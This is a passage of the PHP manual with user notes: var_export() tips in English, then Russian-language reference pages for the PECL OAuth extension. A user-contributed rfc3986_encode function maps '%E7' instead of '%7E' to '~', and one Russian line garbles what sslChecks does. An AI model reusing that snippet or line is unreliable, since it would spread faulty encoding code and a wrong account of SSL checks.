So avoid using var_export() on a complex array/object that contains other objects. Instead, use serialize() and unserialize() functions.

<?php

$string = 'unserialize('.var_export(serialize($test), true).')';

eval('$test2 = '.$string.';');

var_dump($test == $test2); // bool(true)

?>
ravenswd at gmail dot com 07-Jul-2009 10:32
(This replaces my note of 3-July-2009. The original version produced no output if a variable contained an empty array, or an array consisting only of empty arrays. For example, $bigarray['x'] = array(); Also, I have added a second version of the function.)

The output can be difficult to decipher when looking at an array with many levels and many elements on each level. For example:

<?php
print ('$bigarray = ' . var_export($bigarray, true) . "\n");
?>

will return:

$bigarray = array(
... (500 lines skipped) ...
          'mod' => 'charlie',

Whereas the routine below can be called with:

<?php
recursive_print ('$bigarray', $bigarray);
?>

and it will return:

$bigarray = array()
... (500 lines skipped) ...
$bigarray['foo']['bar']['0']['somethingelse']['mod'] = 'charlie'

Here's the function:

<?php
function recursive_print ($varname, $varval) {
  if (! is_array($varval)):
    print $varname . ' = ' . $varval . "<br>\n";
  else:
    print $varname . " = array()<br>\n";
    foreach ($varval as $key => $val):
      recursive_print ($varname . "['" . $key . "']", $val);
    endforeach;
  endif;
}
?>

For those who want a version that produces valid PHP code, use this version:

<?php
function recursive_print ($varname, $varval) {
  if (! is_array($varval)):
    print $varname . ' = ' . var_export($varval, true) . ";<br>\n";
  else:
    print $varname . " = array();<br>\n";
    foreach ($varval as $key => $val):
      recursive_print ($varname . "[" . var_export($key, true) . "]", $val);
    endforeach;
  endif;
}
?>

If your output is to a text file and not an HTML page, remove the <br>s.
ravenswd at gmail dot com 03-Jul-2009 05:21
The output can be difficult to decipher when looking at an array with many levels and many elements on each level. For example:

<?php
print ('$bigarray = ' . var_export($bigarray, true) . "\n");
?>

will return:

$bigarray = array(
... (500 lines skipped) ...
          'mod' => 'charlie',

Whereas the routine below can be called with:

<?php
recursive_print ('$bigarray', $bigarray);
?>

and it will return:

$bigarray['firstelement'] = 'something'
... (500 lines skipped) ...
$bigarray['foo']['bar']['0']['somethingelse']['mod'] = 'charlie'

Here's the function:

<?php
function recursive_print ($varname, $varval) {
  if (! is_array($varval)):
    print $varname . ' = ' . $varval . "<br>\n";
  else:
    foreach ($varval as $key => $val):
      recursive_print ($varname . "['" . $key . "']", $val);
    endforeach;
  endif;
}
?>
cmusicfan (at) gmail (daught) com 11-Jun-2009 09:19
Caution! var_export will add a backslash to single quotes (').

You may want to use stripslashes() to remove the mysteriously added backslashes.
stangelanda at arrowquick dot com 29-Jun-2007 04:20
I have been looking for the best method to store data in cache files.

First, I've identified two limitations of var_export verus serialize.  It can't store internal references inside of an array and it can't store a nested object or an array containing objects before PHP 5.1.0.

However, I could deal with both of those so I created a benchmark.  I used a single array containing from 10 to 150 indexes.  I've generate the elements' values randomly using booleans, nulls, integers, floats, and some nested arrays (the nested arrays are smaller averaging 5 elements but created similarly).  The largest percentage of elements are short strings around 10-15 characters.  While there is a small number of long strings (around 500 characters).

Benchmarking returned these results for 1000 * [total time] / [iterations (4000 in this case)]

serialize 3.656, 3.575, 3.68, 3.933, mean of 3.71
include 7.099, 5.42, 5.185, 6.076, mean of 5.95
eval 5.514, 5.204, 5.011, 5.788, mean of 5.38

Meaning serialize is around 1 and a half times faster than var_export for a single large array.  include and eval were consistently very close but eval was usually a few tenths faster (eval did better this particular set of trials than usual). An opcode cache like APC might make include faster, but otherwise serialize is the best choice.
Glen 23-May-2007 05:47
Like previously reported, i find var_export() frustrating when dealing with recursive structures.  Doing a :

<?php
var_export($GLOBALS);
?>

fails.  Interestingly, var_dump() has some logic to avoid recursive references.  So :

<?php
var_dump($GLOBALS);
?>

works (while being more ugly).  Unlike var_export(), var_dump() has no option to return the string, so output buffering logic is required if you want to direct the output.
Zorro 04-Sep-2005 11:24
This function can't export EVERYTHING. Moreover, you can have an error on an simple recursive array:

$test = array();
$test["oops"] = & $test;

echo var_export($test);

=>

Fatal error:  Nesting level too deep - recursive dependency? in ??.php on line 59
linus at flowingcreativity dot net 04-Jul-2005 09:50
<roman at DIESPAM dot feather dot org dot ru>, your function has inefficiencies and problems. I probably speak for everyone when I ask you to test code before you add to the manual.

Since the issue of whitespace only comes up when exporting arrays, you can use the original var_export() for all other variable types. This function does the job, and, from the outside, works the same as var_export().

<?php

function var_export_min($var, $return = false) {
    if (is_array($var)) {
        $toImplode = array();
        foreach ($var as $key => $value) {
            $toImplode[] = var_export($key, true).'=>'.var_export_min($value, true);
        }
        $code = 'array('.implode(',', $toImplode).')';
        if ($return) return $code;
        else echo $code;
    } else {
        return var_export($var, $return);
    }
}

?>
paul at worldwithoutwalls dot co dot uk 24-Nov-2004 11:22
var_export() differs from print_r() for variables that are resources, with print_r() being more useful if you are using the function for debugging purposes.
e.g.
<?php
$res = mysql_connect($dbhost, $dbuser, $dbpass);
print_r($res); //output: Resource id #14
var_export($res); //output: NULL
?>
php_manual_note at bigredspark dot com 16-Oct-2003 12:43
[john holmes]
True, but that method would require you to open and read the file into a variable and then unserialize it into another variable.

Using a file created with var_export() could simply be include()'d, which will be less code and faster.

[kaja]
If you are trying to find a way to temporarily save variables into some other file, check out serialize() and unserialize() instead - this one is more useful for its readable property, very handy while debugging.

[original post]
If you're like me, you're wondering why a function that outputs "correct PHP syntax" is useful. This function can be useful in implementing a cache system. You can var_export() the array into a variable and write it into a file. Writing a string such as

<?php
$string = '<?php $array = ' . $data . '; ?>';
?>

where $data is the output of var_export() can create a file that can be easily include()d back into the script to recreate $array.

The raw output of var_export() could also be eval()d to recreate the array.

---John Holmes...


Веб-сервисы

  • OAuth
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции OAuth
    • OAuth — Класс OAuth
    • OAuthProvider — Класс OAuthProvider
    • OAuthException — Класс OAuthException
  • SOAP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции SOAP
    • SoapClient — Класс SoapClient
    • SoapServer — Класс SoapServer
    • SoapFault — Класс SoapFault
    • SoapHeader — Класс SoapHeader
    • SoapParam — Класс SoapParam
    • SoapVar — Класс SoapVar
  • Yar — Ещё один RPC-фреймворк
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Yar_Server — Класс Yar_Server
    • Yar_Client — Класс Yar_Client
    • Yar_Concurrent_Client — Класс Yar_Concurrent_Client
    • Yar_Server_Exception — Класс Yar_Server_Exception
    • Yar_Client_Exception — Класс Yar_Client_Exception
  • XML-RPC
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции XML-RPC

User Contributed Notes

There are no user contributed notes for this page.


OAuth

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • FireEagle
  • Функции OAuth
    • oauth_get_sbs — Создать базовую строку подписи (Signature Base String)
    • oauth_urlencode — Кодирует URI в соответствии с RFC 3986
  • OAuth — Класс OAuth
    • OAuth::__construct — Создаёт новый объект OAuth
    • OAuth::__destruct — Деструктор
    • OAuth::disableDebug — Выключить подробную отладочную информацию
    • OAuth::disableRedirects — Выключить переадресацию
    • OAuth::disableSSLChecks — Выключить SSL проверки
    • OAuth::enableDebug — Включить подробную отладочную информацию
    • OAuth::enableRedirects — Включить переадресацию
    • OAuth::enableSSLChecks — Включить проверки SSL
    • OAuth::fetch — Извлечь защищённый ресурс OAuth
    • OAuth::generateSignature — Сгенерировать подпись
    • OAuth::getAccessToken — Получить токен доступа
    • OAuth::getCAPath — Получить информацию CA
    • OAuth::getLastResponse — Получить последний ответ
    • OAuth::getLastResponseHeaders — Получить заголовки последнего ответа
    • OAuth::getLastResponseInfo — Получить HTTP-информацию о последнем ответе
    • OAuth::getRequestHeader — Сгенерировать подпись заголовка OAuth
    • OAuth::getRequestToken — Извлечь токен запроса
    • OAuth::setAuthType — Установить тип авторизации
    • OAuth::setCAPath — Установить CA для пути и информации
    • OAuth::setNonce — Установить nonce для последующих запросов
    • OAuth::setRequestEngine — Используется для setRequestEngine
    • OAuth::setRSACertificate — Установить сертификат RSA
    • OAuth::setSSLChecks — Производить определённые проверки SSL для запроса
    • OAuth::setTimestamp — Установить метку времени
    • OAuth::setToken — Задать токен и его пароль
    • OAuth::setVersion — Установить версию OAuth
  • OAuthProvider — Класс OAuthProvider
    • OAuthProvider::addRequiredParameter — Добавить необходимые параметры
    • OAuthProvider::callconsumerHandler — Вызвать callback-функцию consumerNonceHandler
    • OAuthProvider::callTimestampNonceHandler — Вызвать callback-функцию timestampNonceHandler
    • OAuthProvider::calltokenHandler — Вызвать callback-функцию tokenNonceHandler
    • OAuthProvider::checkOAuthRequest — Проверка запроса oauth
    • OAuthProvider::__construct — Конструктор класса OAuthProvider
    • OAuthProvider::consumerHandler — Установить обработчик consumerHandler
    • OAuthProvider::generateToken — Генерация случайного токена
    • OAuthProvider::is2LeggedEndpoint — is2LeggedEndpoint
    • OAuthProvider::isRequestTokenEndpoint — Установка isRequestTokenEndpoint
    • OAuthProvider::removeRequiredParameter — Удалить требуемый параметр
    • OAuthProvider::reportProblem — Сообщить о проблеме
    • OAuthProvider::setParam — Установить параметр
    • OAuthProvider::setRequestTokenPath — Установить путь запроса токена
    • OAuthProvider::timestampNonceHandler — Установить обработчик timestampNonceHandler
    • OAuthProvider::tokenHandler — Установить обработчик tokenHandler
  • OAuthException — Класс OAuthException

User Contributed Notes

There are no user contributed notes for this page.


Введение

Данный модуль предоставляет интерфейс взаимодействия потребителем и провайдером OAuth 1.0a. OAuth - это протокол авторизации, построенный поверх HTML, позволяющий приложениям безопасно обращаться к данным без необходимости хранения логинов и паролей.

User Contributed Notes

ramdan 04-Oct-2019 12:20
OAuth 1 is not secure anymore! Please do not use it! Version 1.0a tries to fix the problem.

Most platforms are using OAuth 2 instead. Both versions are incompatible. If you try to use version 1, you will get frustrated.


Требования

PECL/oauth требует PHP 5.1 или новее, модуль hash и модуль pcre.

Дополнительно, PECL/oauth может понадобиться libcurl, если оно было указано во время компиляции. Если сконфигурировано с libcurl, то оно должно быть собрано с поддержкой HTTPS.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pear.php.net/package/oauth

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

Большинство из этих констант затрагивают проблемы, указанные в том числе в официальных » сообщениях о проблемах OAuth. Однако заметьте, что хотя данные имена констант и имеют схожую схему имён, они характерны только для PHP.

OAUTH_SIG_METHOD_RSASHA1 (string)
Метод подписи OAuth RSA-SHA1.
OAUTH_SIG_METHOD_HMACSHA1 (string)

Метод подписи OAuth HMAC-SHA1.

OAUTH_SIG_METHOD_HMACSHA256 (string)
Метод подписи OAuth HMAC-SHA256.
OAUTH_AUTH_TYPE_AUTHORIZATION (string)

Эта константа указывает, что OAuth параметры будут помещены в заголовок Authorization.

OAUTH_AUTH_TYPE_NONE (string)

Эта константа обозначает NoAuth OAuth запрос.

OAUTH_AUTH_TYPE_URI (string)

Эта константа указывает, что OAuth параметры будут помещены в URI запроса. URI.

OAUTH_AUTH_TYPE_FORM (string)

Эта константа указывает, что OAuth параметры будут помещены в тело HTTP POST запроса.

OAUTH_HTTP_METHOD_GET (string)

Константа указывает на использование GET метода для OAuth запроса.

OAUTH_HTTP_METHOD_POST (string)

Константа указывает на использование POST метода для OAuth запроса.

OAUTH_HTTP_METHOD_PUT (string)

Константа указывает на использование PUT метода для OAuth запроса.

OAUTH_HTTP_METHOD_HEAD (string)

Константа указывает на использование HEAD метода для OAuth запроса.

OAUTH_HTTP_METHOD_DELETE (string)
Константа указывает на использование DELETE метода для OAuth запроса.
OAUTH_REQENGINE_STREAMS (int)
Используется методом OAuth::setRequestEngine() для выбора потоков PHP в качестве движка, в противоположность константе OAUTH_REQENGINE_CURL, использующейся для выбора Curl.
OAUTH_REQENGINE_CURL (int)
Используется методом OAuth::setRequestEngine() для выбора Curl в качестве движка, в противоположность константе OAUTH_REQENGINE_STREAMS, использующейся для выбора потоков PHP.
OAUTH_OK (int)
Жизнь хороша.
OAUTH_BAD_NONCE (int)
Значение oauth_nonce использовалось в предыдущем запросе, следовательно, не может быть использовано сейчас.
OAUTH_BAD_TIMESTAMP (int)
Значение oauth_timestamp не было принято провайдером. В этом случае, ответ должен также содержать параметр oauth_acceptable_timestamps.
OAUTH_CONSUMER_KEY_UNKNOWN (int)
oauth_consumer_key временно недоступен провайдеру. Например, если провайдер заблокировал потребителя.
OAUTH_CONSUMER_KEY_REFUSED (int)
Ключ потребителя был отклонён.
OAUTH_INVALID_SIGNATURE (int)
Значение oauth_signature недействительно, так как не совпадает с подписью, вычисленной провайдером.
OAUTH_TOKEN_USED (int)
oauth_token был употреблён. Он уже использовался в предыдущем запросе/запросах и более не может быть использован.
OAUTH_TOKEN_EXPIRED (int)
oauth_token устарел.
OAUTH_TOKEN_REVOKED (int)
oauth_token был отозван и в дальнейшем не будет принят.
OAUTH_TOKEN_REJECTED (int)
Провайдер не принял oauth_token. Причина неизвестна, но возможно заключается в том, что токен никогда не был выдан, или уже был использован, или устарел, или был забыт провайдером.
OAUTH_VERIFIER_INVALID (int)
Некорректный oauth_verifier.
OAUTH_PARAMETER_ABSENT (int)
Требуемый параметр не был получен. В этом случае, ответ должен также содержать параметр oauth_parameters_absent.
OAUTH_SIGNATURE_METHOD_REJECTED (int)
oauth_signature_method не был принят провайдером.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • FireEagle

User Contributed Notes

There are no user contributed notes for this page.


FireEagle

<?php
$req_url = 'https://fireeagle.yahooapis.com/oauth/request_token';
$authurl = 'https://fireeagle.yahoo.net/oauth/authorize';
$acc_url = 'https://fireeagle.yahooapis.com/oauth/access_token';
$api_url = 'https://fireeagle.yahooapis.com/api/0.1';
$conskey = 'your_consumer_key';
$conssec = 'your_consumer_secret';

session_start();

// При state=1 следующий запрос должен включать oauth_token.
// Если не включает, то возвращаемся к 0
if(!isset($_GET['oauth_token']) && $_SESSION['state']==1) $_SESSION['state'] = 0;
try {
$oauth = new OAuth($conskey,$conssec,OAUTH_SIG_METHOD_HMACSHA1,OAUTH_AUTH_TYPE_URI);
$oauth->enableDebug();
if(!isset($_GET['oauth_token']) && !$_SESSION['state']) {
$request_token_info = $oauth->getRequestToken($req_url);
$_SESSION['secret'] = $request_token_info['oauth_token_secret'];
$_SESSION['state'] = 1;
header('Location: '.$authurl.'?oauth_token='.$request_token_info['oauth_token']);
exit;
} else if($_SESSION['state']==1) {
$oauth->setToken($_GET['oauth_token'],$_SESSION['secret']);
$access_token_info = $oauth->getAccessToken($acc_url);
$_SESSION['state'] = 2;
$_SESSION['token'] = $access_token_info['oauth_token'];
$_SESSION['secret'] = $access_token_info['oauth_token_secret'];
}
$oauth->setToken($_SESSION['token'],$_SESSION['secret']);
$oauth->fetch("$api_url/user.json");
$json = json_decode($oauth->getLastResponse());
print_r($json);
} catch(OAuthException $E) {
print_r($E);
}
?>

User Contributed Notes

iquark10 at gmail dot com 01-Aug-2019 08:35
Fire Eagle has closed as of February 2013
pierre dot mihawk at gmail dot com 25-Jun-2014 07:09
In the case you're asking an API which gives you a reusable application key, you'll have to use the "verifier" in the getAccessToken() method, but also the "callback" parameter in the getRequestToken().

<?php
     $request_token_info = $oauth->getRequestToken($req_url, "<YOU_CALLBACK_URI>");
?>

In my case, once I accepted the form in the Authorize URI, I was redirected to this callback URI with a "oauth_verifier" GET parameter. I injected it into the access token request :

<?php
    $access_token_info = $oauth->getAccessToken($acc_url, '', $_GET['oauth_verifier']);
?>

I finally obtained an access token that I hardcoded ; it doesn't need any refresh.
brianmoreau at uk2 dot net 09-Mar-2013 12:26
I have just managed to modify this script to work with the Twitter API...

The changes are...

$req_url = 'https://api.twitter.com/oauth/request_token';
$authurl = 'https://api.twitter.com/oauth/authorize';
$acc_url = 'https://api.twitter.com/oauth/access_token';
$api_url = 'https://api.twitter.com/1.1/account';
$conskey = 'YOURAPPconskey';
$conssec = 'YOURAPPconssec';

And change
#$oauth->fetch("$api_url/user.json");
# verify_credentials
# TO
$oauth->fetch("$api_url/verify_credentials.json");


Функции OAuth

Содержание

  • oauth_get_sbs — Создать базовую строку подписи (Signature Base String)
  • oauth_urlencode — Кодирует URI в соответствии с RFC 3986

User Contributed Notes

There are no user contributed notes for this page.


Создать базовую строку подписи (Signature Base String)

  • « Функции OAuth
  • oauth_urlencode »
  • PHP Manual
  • Функции OAuth
  • Создать базовую строку подписи (Signature Base String)

oauth_get_sbs

(PECL OAuth >=0.99.7)

oauth_get_sbs — Создать базовую строку подписи (Signature Base String)

Описание

oauth_get_sbs(string $http_method, string $uri, array $request_parameters = ?): string

Создать базовую строку подписи (Signature Base String) в соответствии с pecl/oauth.

Список параметров

http_method

HTTP-метод.

uri

URI для кодирования.

request_parameters

Массив параметров запроса.

Возвращаемые значения

Возвращает базовую строку подписи (Signature Base String).

User Contributed Notes

There are no user contributed notes for this page.


Кодирует URI в соответствии с RFC 3986

  • « oauth_get_sbs
  • OAuth »
  • PHP Manual
  • Функции OAuth
  • Кодирует URI в соответствии с RFC 3986

oauth_urlencode

(PECL OAuth >=0.99.2)

oauth_urlencode — Кодирует URI в соответствии с RFC 3986

Описание

oauth_urlencode(string $uri): string

Кодирует URI в соответствии с » RFC 3986.

Список параметров

uri

URI для кодирования.

Возвращаемые значения

Возвращает строку закодированную в соответствии с » RFC 3986.

User Contributed Notes

bohwaz 30-Mar-2010 07:20
Note that php5.3 rawurlencode will do exactly the same thing.

For PHP 5.2, easy replacement to this function :

<?php

function rfc3986_encode($str)
{
  $str = rawurlencode($str);
  $str = str_replace('%E7', '~', $str);
  return $str;
}

?>


Класс OAuth

(PECL OAuth >= 0.99.1)

Введение

Модуль OAuth предоставляет простой интерфейс для взаимодействия с провайдерами данных, использующих спецификацию OAuth HTTP для защиты приватных ресурсов.

Обзор классов

class OAuth {
/* Свойства */
public $debug;
public $sslChecks;
public $debugInfo;
/* Методы */
public __construct(
string $consumer_key,
string $consumer_secret,
string $signature_method = OAUTH_SIG_METHOD_HMACSHA1,
int $auth_type = 0
)
public __destruct(): void
public disableDebug(): bool
public disableRedirects(): bool
public disableSSLChecks(): bool
public enableDebug(): bool
public enableRedirects(): bool
public enableSSLChecks(): bool
public fetch(
string $protected_resource_url,
array $extra_parameters = ?,
string $http_method = ?,
array $http_headers = ?
): mixed
public generateSignature(string $http_method, string $url, mixed $extra_parameters = ?): string|false
public getAccessToken(
string $access_token_url,
string $auth_session_handle = ?,
string $verifier_token = ?,
string $http_method = ?
): array
public getCAPath(): array
public getLastResponse(): string
public getLastResponseHeaders(): string|false
public getLastResponseInfo(): array
public getRequestHeader(string $http_method, string $url, mixed $extra_parameters = ?): string|false
public getRequestToken(string $request_token_url, string $callback_url = ?, string $http_method = ?): array
public setAuthType(int $auth_type): bool
public setCAPath(string $ca_path = ?, string $ca_info = ?): mixed
public setNonce(string $nonce): mixed
public setRequestEngine(int $reqengine): void
public setRSACertificate(string $cert): mixed
public setSSLChecks(int $sslcheck): bool
public setTimestamp(string $timestamp): mixed
public setToken(string $token, string $token_secret): bool
public setVersion(string $version): bool
}

Свойства

debug

sslChecks

debugInfo

Содержание

  • OAuth::__construct — Создаёт новый объект OAuth
  • OAuth::__destruct — Деструктор
  • OAuth::disableDebug — Выключить подробную отладочную информацию
  • OAuth::disableRedirects — Выключить переадресацию
  • OAuth::disableSSLChecks — Выключить SSL проверки
  • OAuth::enableDebug — Включить подробную отладочную информацию
  • OAuth::enableRedirects — Включить переадресацию
  • OAuth::enableSSLChecks — Включить проверки SSL
  • OAuth::fetch — Извлечь защищённый ресурс OAuth
  • OAuth::generateSignature — Сгенерировать подпись
  • OAuth::getAccessToken — Получить токен доступа
  • OAuth::getCAPath — Получить информацию CA
  • OAuth::getLastResponse — Получить последний ответ
  • OAuth::getLastResponseHeaders — Получить заголовки последнего ответа
  • OAuth::getLastResponseInfo — Получить HTTP-информацию о последнем ответе
  • OAuth::getRequestHeader — Сгенерировать подпись заголовка OAuth
  • OAuth::getRequestToken — Извлечь токен запроса
  • OAuth::setAuthType — Установить тип авторизации
  • OAuth::setCAPath — Установить CA для пути и информации
  • OAuth::setNonce — Установить nonce для последующих запросов
  • OAuth::setRequestEngine — Используется для setRequestEngine
  • OAuth::setRSACertificate — Установить сертификат RSA
  • OAuth::setSSLChecks — Производить определённые проверки SSL для запроса
  • OAuth::setTimestamp — Установить метку времени
  • OAuth::setToken — Задать токен и его пароль
  • OAuth::setVersion — Установить версию OAuth

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект OAuth

  • « OAuth
  • OAuth::__destruct »
  • PHP Manual
  • OAuth
  • Создаёт новый объект OAuth

OAuth::__construct

(PECL OAuth >= 0.99.1)

OAuth::__construct — Создаёт новый объект OAuth

Описание

public OAuth::__construct(
string $consumer_key,
string $consumer_secret,
string $signature_method = OAUTH_SIG_METHOD_HMACSHA1,
int $auth_type = 0
)

Создаёт новый объект OAuth

Список параметров

consumer_key

Ключ потребителя, предоставленный сервис провайдером.

consumer_secret

Секрет потребителя, предоставленный сервис провайдером.

signature_method

Этот необязательный параметр определяет, какой метод подписи будет использован. По умолчанию используется OAUTH_SIG_METHOD_HMACSHA1 (HMAC-SHA1).

auth_type

Этот необязательный параметр определяет, как передавать OAuth параметры потребителю. По умолчанию используется OAUTH_AUTH_TYPE_AUTHORIZATION (в заголовке Authorization).

User Contributed Notes

mgfrobozz at gmail dot com 23-Jan-2017 05:29
The authorization type enums as of oauth-1.2.3 are
OAUTH_AUTH_TYPE_AUTHORIZATION
OAUTH_AUTH_TYPE_URI
OAUTH_AUTH_TYPE_FORM
OAUTH_AUTH_TYPE_NONE
mgfrobozz at gmail dot com 23-Jan-2017 05:27
The signature methods available as of oauth-1.2.3 are:
OAUTH_SIG_METHOD_HMACSHA1
OAUTH_SIG_METHOD_HMACSHA256
OAUTH_SIG_METHOD_RSASHA1
OAUTH_SIG_METHOD_PLAINTEXT


Деструктор

  • « OAuth::__construct
  • OAuth::disableDebug »
  • PHP Manual
  • OAuth
  • Деструктор

OAuth::__destruct

(PECL OAuth >= 0.99.9)

OAuth::__destruct — Деструктор

Описание

public OAuth::__destruct(): void

Деструктор.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • OAuth::__construct() - Создаёт новый объект OAuth

User Contributed Notes

There are no user contributed notes for this page.


Выключить подробную отладочную информацию

  • « OAuth::__destruct
  • OAuth::disableRedirects »
  • PHP Manual
  • OAuth
  • Выключить подробную отладочную информацию

OAuth::disableDebug

(PECL OAuth >= 0.99.3)

OAuth::disableDebug — Выключить подробную отладочную информацию

Описание

public OAuth::disableDebug(): bool

Выключает подробную информацию о запросе (по умолчанию выключено). Альтернативно можно установить свойству debug значение false, чтобы выключить режим отладки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true

Список изменений

Версия | Описание
PECL oauth 0.99.8 | Было добавлено похожее свойство debug.

Смотрите также

  • OAuth::enableDebug() - Включить подробную отладочную информацию

User Contributed Notes

There are no user contributed notes for this page.


Выключить переадресацию

  • « OAuth::disableDebug
  • OAuth::disableSSLChecks »
  • PHP Manual
  • OAuth
  • Выключить переадресацию

OAuth::disableRedirects

(PECL OAuth >= 0.99.9)

OAuth::disableRedirects — Выключить переадресацию

Описание

public OAuth::disableRedirects(): bool

Запретить автоматическую переадресацию, тем самым разрешая запросу быть переадресованным вручную.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true

Смотрите также

  • OAuth::enableRedirects() - Включить переадресацию

User Contributed Notes

There are no user contributed notes for this page.


Выключить SSL проверки

  • « OAuth::disableRedirects
  • OAuth::enableDebug »
  • PHP Manual
  • OAuth
  • Выключить SSL проверки

OAuth::disableSSLChecks

(PECL OAuth >= 0.99.5)

OAuth::disableSSLChecks — Выключить SSL проверки

Описание

public OAuth::disableSSLChecks(): bool

Выключает обычные проверки клиентских и хост сертификатов. Не предназначено для продуктивной среды. Альтернативно можно установить полю sslChecks значение false, чтобы выключить SSL проверки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true

Список изменений

Версия | Описание
PECL oauth 0.99.8 | Было добавлено поле sslChecks

Смотрите также

  • OAuth::enableSSLChecks() - Включить проверки SSL

User Contributed Notes

There are no user contributed notes for this page.


Включить подробную отладочную информацию

  • « OAuth::disableSSLChecks
  • OAuth::enableRedirects »
  • PHP Manual
  • OAuth
  • Включить подробную отладочную информацию

OAuth::enableDebug

(PECL OAuth >= 0.99.3)

OAuth::enableDebug — Включить подробную отладочную информацию

Описание

public OAuth::enableDebug(): bool

Включает подробную информацию о запросе, полезную для отладки. Отладочная информация хранится в поле debugInfo. Альтернативно можно установить полю debug значение non-false, чтобы включить режим отладки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true

Список изменений

Версия | Описание
PECL oauth 0.99.8 | Были добавлены поля debug и debugInfo

Смотрите также

  • OAuth::disableDebug() - Выключить подробную отладочную информацию

User Contributed Notes

There are no user contributed notes for this page.


Включить переадресацию

  • « OAuth::enableDebug
  • OAuth::enableSSLChecks »
  • PHP Manual
  • OAuth
  • Включить переадресацию

OAuth::enableRedirects

(PECL OAuth >= 0.99.9)

OAuth::enableRedirects — Включить переадресацию

Описание

public OAuth::enableRedirects(): bool

Автоматически переходить и подписывать при разрешённой по умолчанию переадресации.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true

Смотрите также

  • OAuth::disableRedirects() - Выключить переадресацию

User Contributed Notes

There are no user contributed notes for this page.


Включить проверки SSL

  • « OAuth::enableRedirects
  • OAuth::fetch »
  • PHP Manual
  • OAuth
  • Включить проверки SSL

OAuth::enableSSLChecks

(PECL OAuth >= 0.99.5)

OAuth::enableSSLChecks — Включить проверки SSL

Описание

public OAuth::enableSSLChecks(): bool

Включить обычные проверки сертификата SSL конечной точки и хоста (включено по умолчанию). Также можно установить sslChecks в значение не-false, чтобы отключить проверки SSL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true

Список изменений

Версия | Описание
PECL oauth 0.99.8 | Добавлено свойство sslChecks

Смотрите также

  • OAuth::disableSSLChecks() - Выключить SSL проверки

User Contributed Notes

There are no user contributed notes for this page.


Извлечь защищённый ресурс OAuth

  • « OAuth::enableSSLChecks
  • OAuth::generateSignature »
  • PHP Manual
  • OAuth
  • Извлечь защищённый ресурс OAuth

OAuth::fetch

(PECL OAuth >= 0.99.1)

OAuth::fetch — Извлечь защищённый ресурс OAuth

Описание

public OAuth::fetch(
string $protected_resource_url,
array $extra_parameters = ?,
string $http_method = ?,
array $http_headers = ?
): mixed

Извлечь ресурс.

Список параметров

protected_resource_url

URL защищённого ресурса OAuth.

extra_parameters

Дополнительные параметры запроса ресурса.

http_method

Один из методов OAUTH_HTTP_METHOD_*. Смотрите константы OAUTH, которые включают GET, POST, PUT, HEAD и DELETE.

HEAD (OAUTH_HTTP_METHOD_HEAD) может быть полезен для изучения информации перед произведением запроса (если учётные данные OAuth в заголовке Authorization).

http_headers

Клиентские заголовки HTTP (такие как User-Agent, Accept и т.д.)

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
PECL oauth 1.0.0 | Раньше, если возникала ошибка, метод возвращал null, а не false.
PECL oauth 0.99.5 | Добавлен параметр http_method
PECL oauth 0.99.8 | Добавлен параметр http_headers

Примеры

Пример #1 Пример использования OAuth::fetch()

<?php
try {
$oauth = new OAuth("consumer_key","consumer_secret",OAUTH_SIG_METHOD_HMACSHA1,OAUTH_AUTH_TYPE_AUTHORIZATION);
$oauth->setToken("access_token","access_token_secret");

$oauth->fetch("http://photos.example.net/photo?file=vacation.jpg");

$response_info = $oauth->getLastResponseInfo();
header("Content-Type: {$response_info["content_type"]}");
echo $oauth->getLastResponse();
} catch(OAuthException $E) {
echo "Поймали исключение!\n";
echo "Ответ: ". $E->lastResponse . "\n";
}
?>

Смотрите также

  • OAuth::getLastResponse() - Получить последний ответ
  • OAuth::getLastResponseInfo() - Получить HTTP-информацию о последнем ответе
  • OAuth::setToken() - Задать токен и его пароль

User Contributed Notes

Lars Stttrup Nielsen 16-Mar-2016 07:37
So I'm using this to talk to the Woocommerce REST API, and was having a lot of trouble figuring out what exactly $extra_parameters was supposed to look like (which WC REST API expects, besides being of the type OAUTH_AUTH_TYPE_URI).

The multidimensional array I fed it crashed PHP, so don't do that if you're in my shoes.

What ended up solving it was me looking through the OAuth source and noticing that $extra_parameters can also be a string, which, encoded as json (json_encode), solved all my troubles as WC accepted it.
zverik at textual dot ru 31-Mar-2014 08:46
If $extra_parameters is not an array, you have to specify Content-Type header, or else you'll get HTTP 401 error. Example:

<?php
$oauth->fetch(ENDPOINT, '{"action": "get_user_info"}', OAUTH_HTTP_METHOD_PUT, array('Content-Type' => 'application/json'));
?>
chris dot barr at ntlworld dot com 05-Mar-2013 05:59
The fetch() method will throw an OAuthException if the returned http status code is in the 4xx or 5xx range:

<?php
// Querying Twitter with bad login details
try {
  $oauth->fetch('https://api.twitter.com/1.1/favorites/list.json');
}
catch(Exception $e) {
  echo $e->getCode(); // 401
  // Message generated by OAuth class
  echo $e->getMessage(); // Invalid auth/bad request (got a 401, expected HTTP/1.1 20X or a redirect)
  // Message returned from Twitter
  echo $e->lastResponse; // {"errors":[{"message":"Could not authenticate you","code":32}]}
}
